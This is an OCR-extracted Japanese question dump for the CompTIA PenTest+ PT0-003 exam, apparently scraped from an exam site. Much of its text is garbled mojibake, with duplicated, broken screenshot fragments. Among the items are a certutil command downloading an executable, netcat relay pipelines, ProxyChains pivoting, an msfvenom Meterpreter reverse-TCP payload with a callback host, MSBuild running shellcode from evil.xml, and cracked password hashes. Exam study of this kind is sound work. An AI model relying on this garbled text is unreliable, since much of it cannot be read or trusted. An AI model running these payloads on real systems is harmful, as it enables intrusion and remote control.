CompTIA.PT0-003.v2026-03-20.q130

HERa— k- PT0-003

HERB A CompTIA PenTest+ Exam
PREER A — CompTIA

EHEEOH 130

N—o3 0 v2026-03-20
R—UNHEE=E : 142

MEEOHEE=S 2025

https://www. |Dnsh|ken com/shiken/CompTIA.PT0-003.v2026-03-20.9130.html

Eﬁ:ﬁi'l
BATRA—IE dib 2—FT 4 T4 ZFERALTWeb H—N—%XF v LI ROBRLE
BLELTE,

AR SN BEEER: 4612

A& ¥ YURL: http:/10.2.10.13/ ----
+

http:/10.2.10.13/about (3 — K:200]%# 4 X:1520)
+

http://10.2.10.13/home.html (2 — K:200|4 1 X:214)
+

http://10.2.10.13/index.html (3 — K:200]% 4 X:214)
+

http://10.2.10.13/info (3 — K:200|% 4 X:214)

Aoon0— KR 4612- RO o180 4
BRATRI—[CE>THRBBRIUDEBNEETN TV AAREESIEVERIEIRD ENTIT H?

A. index.html

B. 9

C. &%k

D. /R— L .html

IEfE: (EfEZERTLET)

E % /about [Z[F Web ¥4 FDFIEE, BH, BE, ERELIBFRG EDFMHE S AT L ATREN
DHED BATAEI—ICE>THERALGERVIEFEFN TV SAEMIREECHRYVET , ZOD
RIRIE, SoBBEE Vv I VP77 ) oy FREBENGHRBEORFEICERTEE
ER

B 2
EEEFHRIC BATREI—(XROEREMELFET,


https://www.jpnshiken.com/shiken/CompTIA.PT0-003.v2026-03-20.q130.html
https://www.jpnshiken.com/q/66930-6183687/

A—JLF7 KL XR:-admin@acme.com - sales@acme.com - support@acme.com

XAV TAFEDORDRTYTELT TRE—DRELEFRTH5-HICHERATREY RV
RDENTTH?

ALYy NIT—OADRET IR

B. B Y —N\EA 23—y AT S

C.SQLA > oz VL a VRED RN

D. BERNTOT—2RED KR

EfR: (EffZzRTLET)

BRATAE—DEERICEFA—I T FLAZHELEGEE  RBICFARASW S RLERENGY
RAVE A2V N T=OANDFEFTYVEAXTY,

T4y VT HE:

AT RLRAE T4 v U TRBICECHRAESNAET WEBFIW G A—ILEERL, Z1E

EERLTOJA URMEREZROSELY BEOHSY I bz T7EFO A—REERY
THET RYMNT—IUADRETVERZAREIZLET,

RET7 74907

KEBEIBRTEDNDEFA—I 7 KL X (admin@acme.com % &) 2FALTRAET7 249y vy
ZETL MEABROEZELGEAZZI—T Y MILT XY IV DLYHEEEDOTVERI~D

TOERREMBIT A ENTEET,

BR: 3

BATAAZ—[F Hashcat ZFEA L TRATR bRIZEHEN NV 1 5EEL ROENZEE
#BLET,

ad09cd16529b5f5a40a3e15344e57649f4a43a267a97f008af01af803603c4c8 : 2023F E !!
7945bb2bb08731fc8d57680ffadaefec91c784d231de029c610b778eda5ef48b:p@ssWord123
ea88ceab69cb2fb8bdcfoef4df884af219fffbffab473ec13f20326dc6f84d13: Love-You999 EA T X
A—DEREZEBET LIREODHEEIRODENTI M?

A NRT—FICEHESDIL—ILIZHS ZELEERT S

B. BAIOARE/NRT—FKDITAY Y VR FEERET S

C. \AT— FDHR/IXFHEI0XFICHRET S

D. KYBABTFIITYXLTNRRAT—KRZHBESET S

Eff: (EfEZRTLET)
RAML=23V0TREA—DPNY 22059 F 0TI LTHRBEGNRT—FEHKR LI L
(F HBRIZBELGNART—FR)—HDARIML TSI EEFTBLTVWET Bt TS
HROBPT BHORENRT—FOTAY I YR MERETLHI LN, RO MBEMGENEFX R
TY, CcOXMKIZKY HashcatGEDNY 205 9F T Y—ILDELEEZITOT L, BHIC
HATEDNRT—FOILKFERASINSEINRAT—FZE1I—HF—DNRETHILEZHSIENTE
9,

INAT—FRIZEHEIDIL—IILEBFIEEICE T2 a A IEEMTIN EHELE/NRAT—F
N—RHGEHLDTH--Y BEDERETRELEZIDTHo YT HE REBIKARELT
RSARETT , NRID)—FORNMXFRERET DL T3 V0 FRVWAETTA RSf:


https://www.jpnshiken.com/q/66930-6183688/
https://www.jpnshiken.com/q/66930-6183689/

(FTEHNY L2 yvXVTRMIIHT HNRT— FDOBELZRIET S EIETEFEEA, &V
BMAGTITY)ALTNRRAT—FEESETHIE 723 VD) IEREMGHEIEE L TEMT
IR NI SR TNBEICEARICHEICHRTESL S LGB IVIRT—FE1—
H—BRTHLEHCILEFTEFEA,

LIz -T, 7YV YR ME BATRE—ICE>TEETHHEDMEME, 2FY 21— —N
HEICERINDEIBHVWIRT—FZERET S LITHUTEHIOTT, F, ¥ )
TAZESHICRIET H=OIZ BAGNRRT—FRY O—DRFER, 11— —HE ELTEE
RIDEDEREHAEDOEDICENMRRAMNTISIVTARATHAZEHEBICELET,

BiE: 4

BATRI—=F A V3= DL T7AILETDO—FLTHREZERT H-HIC, X
TLDRATAITNATVEFERTEIBENHYFET , TREI—DRELFERTHA8MEDH S
Y—ILIERDENTI A ?

A. netsh.exe

B. certutil.exe

C. nc.exe

D. cmdkey.exe

IEfE: (EfEZRRLET)

774 IILF D Aa— KA Certutil.exe:

certutil.exe &, EICFIFAZDERBIZERINDS M T4 7D Windows 1—FT 14 ) T4 TTH A
VA=Y MSTFAINES YD O—FRTBEHICLFERTEET,

o< Y Rl

Ny

O—FK#&xaE—

certutil.exe -urlcache -split -f http://example.com/file.exe file.exe
FATATARAT—RRIZEY X2 ) T4 Y—ILICKSREHEZEBTEET,

D BRERIEGEEZ LD M?

A (netsh.exe): v F T —VBRICIZFERASINAEFIN, 774D F O —FIZIXFERSNEE
A,

C (nc.exe): Netcat [ Windows 4 T 4 TTIEHE W= VAT LIZEATEZLELAHY FT,
D (cmdkey.exe): Z7AILDF o O— FTIEHGL RESN-EREROBEICERAIAET,
CompTIA Pentest+ 1) 7 7 LV R

FAA>30FHELEIVRTOA L)

B 5

REAML=V3VTRI—IE BTV RGO AT LATHEASINIEFHRLETCPY—EXEt
LTHEENRT7ERTEIENTEDMBHEEIELTLET, SOHY—EXIE1008 L LD

AMIHEETZED TAE—(FEEZESIELEVEEZTVET, EREOEEIZIE, AR~
L—2a T RE—DBUTOEEEZTILELAHY ET,

TR TCPIEREHEILT 5


https://www.jpnshiken.com/q/66930-6183690/

fello | R4 O— FKZ&EET S
DAL DS DRE
16/31 FEBRDXFIHEEETD
RDT7TA—FDS56ENDPEMERE LK HR—FLETH?
A.nmap -Pn -sV -script vuln <IP 7 KL X> 2E47L &7,
B. R X F® TCP R— k=5 LT OpenVAS &> F)L R+ VEEFLET,
C.LuaSB8TRYV YT +ZEHRL _NSE CERLET,
D. Nessus #{#AL TEREER X v U &2ERITLET,
EfE: (EfREFRLET)
NmapRX o 1) T hT P> KNSE)IE, NmapDix i CERERAEHEN1DTY , A—H—IL Lua
TJOJSIVERBEFERALTCOVTILNGBRY YT LEER BLUHRA)L SFITFLERY k
J—5 R RY5 HEBEILTEES, https://nmap.org LuaSiETRY ) T+ E/EHR L NSETHERET
52T PETIV ARG AT LATHEAINSIFHRLGTCPY—ERZN L THEEN KT %
RAFTHIENTELIMBHUEZRRTHIEVSBMIZRBHIENTI ,NSE KmapR oy T T Y
DNE A——DRIVYTFZEZEBRLTETL ARV ZEEELIZY BEGRAF YU EE
TLE=Y TEBHNmapDHEFET T LUualINSEN Y R— 35X 9 ) T REEBTHY . NmapAHD
HRALRAY YT REERT 5=HICFERTEET,

Bf: 6

BAEOEYVADEX LT AIN—LADEAZENE LEYENGRATAMNEERT 5120
. RATRAEI—HLPERASINFELE NBEROHER 2DOAQ WIi-FIFX by kD=9 ZL
TAVE =3y MIEREINE-EROBILH A SHERSNFEL:,
EBMOERERVDIRNICHR— T E23Y—ILFLETIZVIIERDENTTH?

A E%

B.T703v7

C. ¥1E&

D.V+—F3A4EVY

FfE:A (DAY LERRT D)

BR: 7

BATAA—IE Web7 T 5—2 3 VEHED=HDIERAEEXITO>CVWET  HAEEXEDH DT
T.TARAA—[Irobots txt7 7 A I CEERIBEZFEARALFEFT,

FHEAE

BATAI—WEILLIAEICERTIHIV—ILEERLET,

BATRE—hHIEEHIET S robots.txt 77/ ILAD 2 DDIT U R ZRIRLFET,


https://www.jpnshiken.com/q/66930-6183691/
https://www.jpnshiken.com/q/66930-6183692/

[=] show Question D) Reset All Answers

Given the entries in robots.txt, select the Select the two robots.txt entries the penetration tester
tool the penetration tester should use for should recommend for removal:
further investigation: — -

1 ] User-agent:

2 [[] Disallow: /search

3 [0 Allew: 'searchfabout

4[] Usar-agent: acunatix
5L 1n’awl-dalay 10

SOLmap

) User-agent: Slurp
11 [ crawl-delay: 20
12 [ Allow: fsdch
13 [ User-agent: Comptia
14 [ Allow: fadmin
15 [ Allow: f'wp-admin
16 [ crawl-delay: 15
17 [0 Allow: igroups
18 [ Allow: 7hi=
19 [ Allow: 'wp-login.php

Show Question "D Reset All Answers
http:/fexample.com/robots txt

: 5 Select the two robots.txt entries the penetration tester
too! the penet ation tester should use for should recommend for removal:
further investigation: =

1 [} User-agent: *

2 [] Disallow: /search
Mimikatz 3 [ Allow: /searchfabout
4 [) User-agent: acunatix
5 [ crawl-delay: 10
Brakeman 6 () Allow; /sedfgh/static o
# T 30seragent Baids
B’{j“ﬂ{gﬁﬁ&ﬁiay: 12
9 [T Disallow: Home
10 (] User-agent: Slurp

SQLmap

11 [ crawl-delay: 20
12 ] Allow: /sdch
13 [J User-agent: Comptia

16 r_,1 crawl-delay: 15

17 [ Allow: /groups

18 [ Allow: /7hl=

19 [ Allow: /wp-login.php

Explanation:
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A EEKRR F$ nmap -sT <target_cidr> | nc -n <compromised_host> 22

B. attacker_host$ mknod 7\ 47X« 7 p attacker_host$ nc -1 -p 8000 | 0</Xv 2 /34 7' | nc
<target_cidr> 80 | tee /Ny J /XA T

C. EHEKRX +$ nc-nlp 8000 | nc -n <target_cidr> WEHHR R +$ nmap -sT 127.0.0.1 8000
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ProxyChainsld, k574 w92 2 70F Y —N—DFz—2I2I—TFT4 VI TEBY—ITT,
hIZkY RV NIV TFIOTAETA%#ERIELTEET, 2OV TFRXMTIE NmapR
XY URTITAVIEREEINEZRAMIL—TFT 4 I HE=HICERENATEY BATR
A—Exy FD—VADMD A=y FEFERLTINET LI ENTEET,

* ProxyChains #12f#9 5:

* B#Y: ProxyChains RT3 5 & BEDT7 TV r—2 a VI >THERESIE=TRTD TCP
#Eft % TOR_SOCKS4 SOCKS5 HTTP(S) HED T OF UM THRHEIMICETTEET,
*EREEE AV NT—U FS T4 v I EERIEL FRTAXSENLTT VD3 UEET
FTE5EOIZFERINET,

*av Y FOAER:

* proxychains nmap -sT <target_cidr>: ZM 3 < > FI&_ProxyChains R L T ZKESNnI=T
AX ZNALTNmap R¥xv> bS5 7499FIL—T4 VT LET,

*Nmap AF¥ v > (-sT): CDA T2 aVIE TCPEHKAF v UEEELET,

* ProxyChains D% 5E:

* BT 7 7 1 JL: ProxyChains X5 (L& . /etc/proxychains.conf [ZH Y £T,

*JOFXTnEM BEINT-RA L% SOCKS 7AFXL & LTEMLET,
ATYTNARTYTDHERATL—2TFRX b

O—KZa2E—

Vw4 X4127.0.0.1 1080

* E1T:
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*TOXL H—N—FRBHLFET BESINRRX T, SOCKS 7OFX L %ETLET (fl: ssh
-D 1080 user@compromised_host Z{#F),

*Nmap Z{EA L T ProxyChains #XE179 4. HEBEDHRA FTAT U FZEFTLET,
proxychains nmap -sT <2 —%4" kcidr>

*BATAR MZET SXED 5 DESEH:

*ProxyChains (&, BESINHRR FERBHATEIFTIADRATA R 4 RTELERHASINAT
W&E9,

*HTB DRBETIX FHVRATLENLTES 7499 FIL—T 14 2T F 518D ProxyChain
DEFEANMERICHRBAINTLET,

SE XMk

CBATAM-NYXUTDEEAM

*HTBAREEE

Eﬁ:ﬂ: 16
YXialb—v3ay
HAOZFEALT SLICAETHAVELNHIBEMNLGHER MLEEFELET,

Wea_k Apache Tomt_:at C_redenlials | | © NMAP Scan Output

Null session enumeration QR E e e (0000708 gericy)
i ——— ==zl Mot shown: 96 closed ports
Weak SMB file permiSSiOns | | PORT STATS SERVICE VERSION

88/icp open kerberos-sec?

138Acp open netbios-ssn
I — 3891cp open Idap?

- 4451cp open microsofl-ds?
ARP spoofing Il MAC Address: 08:00:27:81:B1:DF (Oracle VirtualBox virtual NIC)
. —— Device type: general purpose
Running: Linux 2.4.X
§ /] OS CPE: cpeJolinux kemal2 4 21
Fragmentaﬁon aftack [ ] OS details: Linux 2.4.21

- — e - — ————— -— — —d l l\rE?WDIK ‘)*5!-"‘]!’1(!‘ 1 mp
| FTP anonymous login T l

. Webdav ﬁ'lé upioéd

_SNMP enumeration

OS and Service detection performed. Please report any incorrect results at hitps://inmap org/submit/
# Scan done at Fri Oct 13 10:03:06 2017 - 1 IP address (1 host up) scannad in 26.80 seconds




| -Pn | £3 NMAP Scan Dutput

: sV ] Host is up (0.00079s latency)
T ——— Not shown: 96 closed ports
p 1-1023 \ PORT STATS SERVICE VERSION

88/1cp open kerberos-sec?

i T = . | thios-s
192.1682.1-100| | [ESSeSusinnan

445Acp open microsofl-ds?
‘ MAC Address: 08:00:27:81:B1:DF (Oracle VirtualBoxyittuahNIC)

nmap
:—— —_— Device type: general purpose
! nc ‘ Running: Linux 2.4.X
: s OS CPE: cpe/olinux_kemel:2.4 21
|—top-ports=100 | | EECERESSIINEFEY
e = Network Distance: 1 hop
| ~top-ports=1000)| |
| ==_} 0OS and Service dataction parformed. Please report any incorrect resulls at hitps://nmap.org/submit/
# Scan dopgat FnOet 13 10:03:06 2017 - 1 IP address (1 host up) scanned in 26.80 seconds

19216822 |

|pons-[21,221 | 8 iwwtables

| {:ports => 21-ports => 22} |

import socket
| #1usribin/python |
for SPORT in $PORTS:

try:
S_Conned((ip, pon)) def port_scan(ip, ports):
print("%s:%s — OPEN" % (ip, port)) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

except socket timeout Letimns0)
print("%s:%s — TIMEQOUT" % (ip, port))

except socket error as e:
print(*%s:%s — CLOSED” % (ip, port))

finally: *
s.close()

[export SPORTS = 21,22 GE
| #t/usrin/ruby N\ \ |
[ﬁyusr.’binlbash XY |

| if len(sys.argv) < 2

if name " _main

print( 'execution requires a target IP address. Exiting...')

exit(1)

else:




ese Secure System

<« C  https//comptia.org/login aspx#remediatesource
himi>

<heaa>

<tie>Secure Logn<itie>

he
<body
nets
conte 2F ZnaMN2Zmigb Gaoc2Rma2pnaGR2Z mpx Z0PYmhaZH mdoc3ds 1
bnNkSGH IZmbaHZshINKZ dmmlamFrimbGhik pyZ2rzZt 1
3 N Z¢ Pove Wi
wele Frpt
documen! write f N values 1> v - sbon href subsh - aticn hrel indexOiNs 1€ P10
ng select
(¢ 3 center”
4 # por L alue="mar hod= post
E d yiez marg Opx ma ot Opx
pan style = “wdth 50Cpx ¢ tont-sze 3Cpx ! wanght to d borcer bott px gt a Sec System Lox oa
dre
dev style wgin-bortom Spx
span syl wdth 10Cpx " >Namgs /<{k
{ style=“width 150px ™ type = "IgRi" A A 4="name” value="
21¢ < ot style 50px " type= 18 name” W= "name” value="aofs
§
par yle gth 150px * type="password” name="Passw 3=" pASSwEI *
span 1 Style="wnot Opx " type 133 ame ASSW SEWOrd”™ value="password

Secure System

C https.//complia.org/login.aspx |

Secure System

User name

Password

Femdgd atE

tifig@ate

IE fi:

TEREDFHAZSE LTS,
Explanation:

1. X)Lty 3 V%



55L\SMB 7 7 1 JLIERR

AL E

2: nmap

-sV

-p 1-1023

192.168.2.2

3: #!/usr/bin/python

I RXR— bk $PORTS = 21,22
$PORTS M $PORT DiFHE:

EENC M

s.connect((ip, port))

print("%s:%s - OPEN" % (ip, port))
socket.timeout % & <

print("%:%s - 2 4 L7 2 k" % (ip, port))
socket.error & e & L THRK:
print("%:%s - CLOSED" % (ip, port))
elAll

s.close()

port_scan(sys.argv[1], 7R— k)

AHI7EPTO0-003fE B (FJPNTest.comizft S PT0-0035XERICER T S Z LICRICILBF
9 | JPNTest.com(d4 &x#TPT0-0035X 55 EIESR Z 12t L £, JPNTest.com PT0-0035% & [ @&
ERFLIEHINFEL, CCTPTO003MEEDNTRA I VOV EFITANT T, HFRD
7 ¥t X _ https://www.jpntest.com/shiken/PT0-003-mondaishu 802f§, 3 0%7r 4 R A >

k. 4RI EI5| a— F: JPNshiken|

B 17

BATRA—IX TCPH—E X EUDPH—EXDWEANDKR— FDIKREZFEERT 57=HIZ NmapX
XY UERTITIRENHYFEST , TRE—EUTOATU RO ENEZFERAIRETLLD
ne

A. nmap -sU -sW -p 1-65535 example.com

B. nmap -sU -sY -p 1-65535 example.com

C. nmap -sU -sT -p 1-65535 example.com

D. nmap -sU -sN -p 1-65535 example.com

IEfR: (EffZzRTLET)

Nmap #fEH L T TCP /R— k& UDP FR— FDEADIKELZHER T HICIF B GEa<T U FT
TCPRF¥Y 2 T3 EUDP RIFv U AT a Vv EMAEHELIRELRHY FT,
AT a vDEfE:
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*-sU:UDP X¥ ¥ VEETLET,

*-sT: TCP iR ¥ v V& ETLET,

*aAv Y FORBA:

*2a< 2 F:nmap -sU -sT -p 1-65535 example.com

*ERER: Cav Y FIX, #—4 v k example.com D 1 h 5 65535 £TAH TCP /"— + & UDP
R—bDOEAZRF YU LET,sU & -sTEZHAEDLESIET MADEEDOY—ERANR
FrroEnFd,

MDA T a3 EDLE:

*SW:TCP D4V F) R¥x v UZ#RIBLET, TCP LU UDP —E X DIREED A (2 (XBE R
HYFEEA,

*sY:SCTPINIT RFx v V&R LEITA, COTTFXMIFERHY A,

*-sN: UDP H—E X DRHEICIZFERASINGE L TCP Null R ¥+ U Z#RRLET,

BfE: 18

RAML—=V30TREA—IE HBFEEICH VT fingera~vw > KE&rwhoa v > KZEHULYTLinux
DATLDA—HY—FZHELEZVWEZEZATVWET, LML, DT FEITTIXERORE
BERBRONENWIEICRIOEFET, COFRVICHRBELBY—IIERDSBEENTLLIMN?

A it

B. \—TJXA—F

C.smbo2 3472k

D. /\—RXZ—

IEf#: (EfEZxRTLET)

smbclienty —JLIE, *y kT —2 LDOSMB/CIFS YV —XRIZT7 V9 RTH5E=HIZERALET, o
IZ&Y BATRI—EHEHF) Y —RIZEHEL KXY bT—0 LD —H—%F5ZETEEFT, I
WindowsIRE IZHE WL THII T, Unix/Linux > R T L TlEfinger & rwhomM— B0 T3 HY, smbclient
TRy FTD—9 EDA—HF—%5ETLLETIVEBN-HEEEZRHELET,

Eﬁ:ﬁ: 19
vIalb—ray

HAZEALT, SOICHETIDENHIBEMNGREAI FLERELEY,
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I_Weak Apache Tomcat Credentials ] @ NMAP Scan Output
 Null session enumeration ] Hoat s Up (0.000708 letency)

Not shown: 96 closed ports
‘Weak SMB file permissions | PORT STATS SERVICE VERSION

] 88/icp open kerberos-sec?

138cp open netbhios-ssn
‘ Webdav file upload | 389co open idep?

445~cp open microsofl-ds?
[ARP spoofing l MAC Address: 08:00:27:81:81:DF (Oracle VirtualBox virtual NIC)
5 — - Device type: general purpose
‘ SNMP enumeration ‘ Running: Linux 2.4.X

OS CPE: cpe/olinux kemél:- 214, 21
l Fragmentation attack Bl Os cetaiis: Linix 21424

. Network Distances, 1 hop
> |

‘ FTP anOﬂymOUS |Og|n | OS and Setvice deteclion performed, Please report any incorrect results at hitps //inmap.org/submit/

# Scan done at Fri Oct 13 10:03:06 2017 - 1 IP address (1 host up) scanned in 26.80 seconds

e 3
-Pn 8 NMAP Scan Output
p
sV Host is up (0.00079s latency)
Not shown: 96 closed ports
P 1-1023 PORT STATS SERVICE VERSION

88/1cp open kerberos-sec?

192 168.2 1-100 1391cp open netbios-ssn

3891cp open ldap?

445/cp open microsoft-ds?

nmap MAC Address: 08:00:27:81:81:DF (Oracle VirtualBox virtual NIC)
Device type: general purpose

nc Running: Linux 2.4.X
OS CPE: cpe/oilinux_kemal:2.4 21

--top-ports=100 OS details: Linux 2.4.21

Network Distance: 1 hop

—top-ports=1000

OS and Service detection performed. Please report any incorrect resulls at hitps://nmap.org/submit/
hping # Scan done at Fri Oct 13 10:03:06 2017 - 1 IP address (1 host up) scanned in 26.80 seconds

192.168.2.2




[poris— (21, 22] =
| tports => 21:ports => 22}
| #11usrbinpython

for SPORT in SPORTS.

try:
s.connect((ip, port))
print{"%s:%s — OPEN" % (ip, port))

% (ip, port))

efror :
5:%s — CLOSED" % (ip, port))

s close()
|exp-urt $PORTS = 21,22

| #11useiviniruby

| #/usiin/bash

| for port in ports:

a target IP address. Exiting..."')

Secure System

https://comptia org/login aspxfremediatesource

P font wesght BORBLE deLoNSm 1ps wold




ece Secure System
C https.//complia.org/login.aspx

Secure System

User name

Password

IEfi:

1: X)Lty 3 U

5L SMB 7 7 1 JLIER

BT e B2

2: nmap

-sV

-p 1-1023

192.168.2.2

3: #!/usr/bin/python

I AFR— bk $PORTS = 21,22
$PORTS M $PORT DiFH:

EENC A

s.connect((ip, port))

print("%s:%s - OPEN" % (ip, port))
socket.timeout % & <

print("%:%s - 2 4 L7 2 k" % (ip, port))
socket.error & e & L TR <:
print("%:%s - CLOSED" % (ip, port))
2 Wz

s.close()

port_scan(sys.argv[1], "— k)

ﬁﬁﬁﬁ:ﬁ: 20




BATXA MEEEN HEILEICHLTI TV RR—XDBEATAMEERLTOET BRE
[CkDE TRMEHBENSA VA —RY DO EET IV ELATELGIMFELATLIZRBATES
MESIHERERTIIENREBASFTETT UTORF Yy F—ERICEDIETET,
test.comptia.org IZTHIT 5P —/N—fIV VT X FT+—2 ') (SSRF) DHfE5EH
test2.comptia.org IZHEITARFE I ORY A b X5 ) TF 4 245 (XSS) D53

4 static_comptia_assets EWNS/XT Y VI ICT7 I RARELZR L—D VX T

Ly test3.comptia.org TA 2 —2 v MZBAMNTLVS SSH ;R— + 22 test4.comptia.org TD
=T VFALY FOIfEMN, TRE—DNRAICBETREREBENRIRDENTTH,
ATy Nry kL TRTOEHRZREZA L, Truflehog TREX ¥ U LFET,

B.Pacu #EfTLT V3V KR—XADVATLADEREO—ILEFELET,

C.Hydra ##HL T A—7Y SSHY—ERICH L TRELBHEITIL—F T+r—RAKREEZET
LFET,

D. 749y ¥ UR—VATREBEIORSA F RV Y TT4 V0V REZFERALTEES
FREBLET,

E.SSRF #ERAL T A2 T7T—32 HY—EXDWLERERICT IV X LET,

IEfR: (EfZRTLET)

ART—AR 7HERIZSSRF #;FRHT 5%:

HY—N—HY A KYHJIRX+IT+—2 1) 8SRF)DIEHEMEIZKLY KEEITH—/N\—[ZREY
Y—AANDY Y IR MEEESEDIENABETT, V57 FIRETIL SSRFIEA 2 T—2H—
EX AWSEC2ARAT—RBE)IZTIVEALTY S FYH—EXRDBRIIEHRENET 5=0IC
FREINEZENESHY FT,

BREREMBISIE . TNEFALT AV —RY DL EET7T IV ERXRTELGUILVFECRT
LIZ7 V) ERATESLSICHYET,

HhDZBIRERIEEE L ODHN?

ATV Ty R Ngy NADEET— 30T EITERATIN HERATLA
TOERIZEE DGR EIDITTIESHY FHA,

B (Pacu): Pacu (X AWS D581t 2 ERT A =-DICFERAINFTH, BAEFRCO—IILDHRE =
AMKHBNFET, SSRF [, Pacu ZMRMICETT 5-OICRHELGRIIEREZREHLET,
C(SSHII—FT#—R)SSHIIL— LT+ —R([F/ A XANEL FEHEMTT HEVATLA
T A=y FMZRAEEINTULSSSHE Y LRENRIESNATOSAREMENHY F£F,
DXSSIZ&kdT7a4v2P). TNiE SSRF #FATAREICHERTRIMGHKETHY B
BITIEHYFHA,

CompTIA Pentest+ 1) 7 7 LV R

FAAL3.0HKBEIVRTOA )

SSRF DEREIVITIR AIT—3 7O RAFE

Eﬁ:ﬁ:Z"
RAPL—=23VTRE—IE 24GHZESGHZD TV CARA U FE&BAT=V 547 2 FDOER
XA TAFEEERELTCVET, TRE—X WPA2NV RO 24O DX v TF ¥ ZFET 5
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=OIC. 9T by TITTALANVYLAUSBRU T ILERHALET , TREA—IEIRIZ_UTDOEDFIE
ZRITTIMDENHYEIN?

A. Aircrack-ng ZERA L CERE—FZEHIZLET,

B.Kismet Z#ER LT, 74 VLR RUJILEBEFMICE=ZS2— E—FICLT NV EFY M4
ZIRELFT,

C.KARMA #=EfTL TR —FE@BHELET,

D. WiGLE.net TIEK DB EMNLB I SA TN 7O R RA VM ERELET,

Eff: A(QA 2V FERKRT D)

WPA2 N R A0 &F v TFX T BRI, TAVLR THATITERE—FEEMDICT S
EDBEDFIETT,

ERE—FCRE . 7HFTRENV 24 05X v TF v T 5DITREL  ZTOMEDTRT
DILAVYLR FST49 90X TFYTEET,

* # i

*JAXYLRAUSB FoJ)L: T4 LR USB FUTLDNERE—RELUNRY Y 12Dy
AVERBMEN DS L EHERELET,

* Aircrack-ng R4 —k: DA XY LR 2y b=V BEERAO—MRNLEY—IL Y +FTHD
Aircrack-ng R4 — rZEFERALET,

CERE—FEAUCTS:

*a< Y K:airmon-ng V—ILEFERALT, 74 VLR A VA—J A ATERE—RFEHEHICL
E3C I

AT TIA X7y T DEHBAairmon-ng start wlan0

CRREL A VA — DDA ADNERE—FICHE D TWAINESIMEFHRELET,

iwconfig

*WPA2N\Y Rz A4 9 %F ¥ TFv:

* Airodump-ng: airodump-ng ZEFA LTS 74 v I ENV R AV DF Y TF v ZFHBLE
v,

airodump-ng wlanOmon

*RAT A NI XD 5 DSE R

CERE—FEBEMTEHILIE, T4 VLRBATRAMOERMGER Ty ITTHY, BATR
F-NYFXFUTDOEBAMIGEDHA FTHREASATWET,

*HTB MERBAIE, £ DIBE WPA2 NV R A 9 DF v TF v ITEDHIC BEBE—FZED
2952 EMBIBEYET,

S 3R

*BRATRAM-NYXUTDOEEAM

*HTBAXELE

B 22
BATRAE—MSCADAVRATLEFEL TCWVES , TRE— X B—D7 T U r—2 3 VEET
LTWET—VRT—2avADO—ALT I REEZRGLET , 7TV r—2a V&g HEL
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BRL TRAIA—EA—ZFILD4 VRO ERE BEBLELBIARL—TFT A VI IRTLIZTY
TRALFET , TRI—DEFTLTLWRHEEFIRDSBENTTM?

A XFRUH DR

B. F&EM1— FET

C. 7o+vRiA—a 24y

D.SA4 734>z iay

IEfE: (EfEZERTLET)
FARVIRGT—TERF FHFRIPE—DT7 T I r—avA 08— xz—REVNH=HIBE
NERENSIRITHL EBLEGEIARL—T A VI VRTALIZT IV RRTEHIETY, EIREKA
MNIELWEREIXRODESYTY,

*XFRYVIRT—T ZOHREE XFARIVPERT7 TN r—2a Gl a—H—TU AN
EXMICHBRENTWABREZENE LET, CNODFHIBZEHEL ARL—F 4 VT VRT
LEERADT IV ERERET S EMNBMTT,

CEREOI—FET CAESRTLETHASATOWVGEWVWI—FEETTEIILETEATIN,
CCTHBATEIFVAE FIRSN-RENSDBREICETS23DTY,

* AR ARA—A T COFETIE ELSEGT7ORIZa—FREZHEAL EEOHBITI T«
ET4ZETLENL FOTORFEEICRENTET,

*SA4TS) A0 BEOHDISA4753)EO0—RLTETHOTOERIZEED
HEZI—FZHEALEFIN, COPVFIVATEHIORFERTEHY £HA,

Pentesth 5 DS HA:

*Forge HTB: KR SN=-IRENSHREL S RATLANDKYLELET IV L REE BT HTI=Y
DERLET,

*KEHTB: 4R IRT—TOWRNZA T . 7O EANHRSIN-RENMNGHRET E25%%
~LET,

+ A |
oo -

FTLaVAD BFRY IRT—TIF TREI—DFIRESN-RENSIRITH L TEB LGS
AR—T 42T VRATLIZT VRS EH2 4 TORBEEREICRLTOVET,

B 23
BRATAI—IHEBOFMZERLTHY . BN LG ——RAFERZNET IVLELNHY F
4 COEMEERTHHIC, TREA—WNERTIDICKRBELEHEIIRDSEENTTM?
AD+r—KRSM4EVY

B.¥¥ J74 JR—4JL

C. FRRLfERR

D. ZUFEL

R (EERTELED)

RIIERKEE, FL4HA—HY—F T4 VLR Xy FT—0h5BHMICUIMRL BEREZRL.
ZTOBEBTRELTIERA RS b ORY FI—VEBERY—ILZERL THESDTI—H—52;
BHREMFT DN HY £9,


https://www.jpnshiken.com/q/66930-6183708/
https://www.jpnshiken.com/q/66930-6183709/

B 24

AA—TFFXa AV MIEHEIRZFEBRIRODENTTN?

A HY—EXT7HD 2k

B. T A2 —D#EE&

C.REZEH

D. TX FD#

M C (24 FERET )

REFEEE, TAMNEBICE > TFHEHBEROCEENRELZGSIC AR L—2a3 0T
ARB—=ED ATV FDERZFIRT 2FATY, MBDKRENE EEZHEIC L ENPFEOR
RERITH-OHIC.REBHEEITX FMIBEXEIZEHIDENHYET Y—ERXRTHIV M T
AA—DREE TAMAHLBEEL RRX L=V 3 0TA N TAERDOMOBIEICEEET S alEE
HERHYEIHN, TR MNEEANXZEOLBAERTHEHOYEEA, SEER . 2ompTIA PenTest
+FE A K GRERPT0-002) . F1E RRML—L 3 VTR MDFEERI—THRET ; 2K
CompTIA PenTest+3 474 K (EERT0-002) Ly X1 :

RBATRA MDOFEEHEFZTES;, BRATRA FOHEFE&(E?3

Bf: 25

TARAI—X BESNERRA MR L THREFEEZERTIAMBEZILTET, TRE—[FRD O
IURZEALTR/O—FZ#EBLFET,

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.12.12.1

LPORT=10112 -f csharp

RIZ, TFRE—[Emsfvenoma~< >y KAz )La—RZEEBL evixmlE WS 774 IILEERL
T, TARAEI—DNKRRA CADODKREZBRGET S-HICHERAT IAEEIZREIEVNITY FEENT
ITM?

A. regsvr32 /s /n /u C:\evil.xml

B. MSBuild.exe C:\evil.xml

C. mshta.exe C:\evil.xml

D. Applnstaller.exe C:\evil.xml

EfE: (EfEZRRLET)

RBEEIN TV Smsfvenoma v > RIE CHERDRA O— FZER L ET, evilxmlZERE S 1=
SINA—FEFERALTHREZ#MGETDICIE CHI—FEZETXMLI7 74 IILENEBTE S
MSBuild.exez AT 5 DM RELEITHETY,

MSBuild.exe 2D\ TIEET 5:

B#J: MSBuild (& XML TRiREn=TA I T 74 ILEREL XML TEESIN=2RY
EFERITTEDIELRFY—ILTT , NET7ITVS—L a3 VDELRIZEKLLFERASA, RO Y F
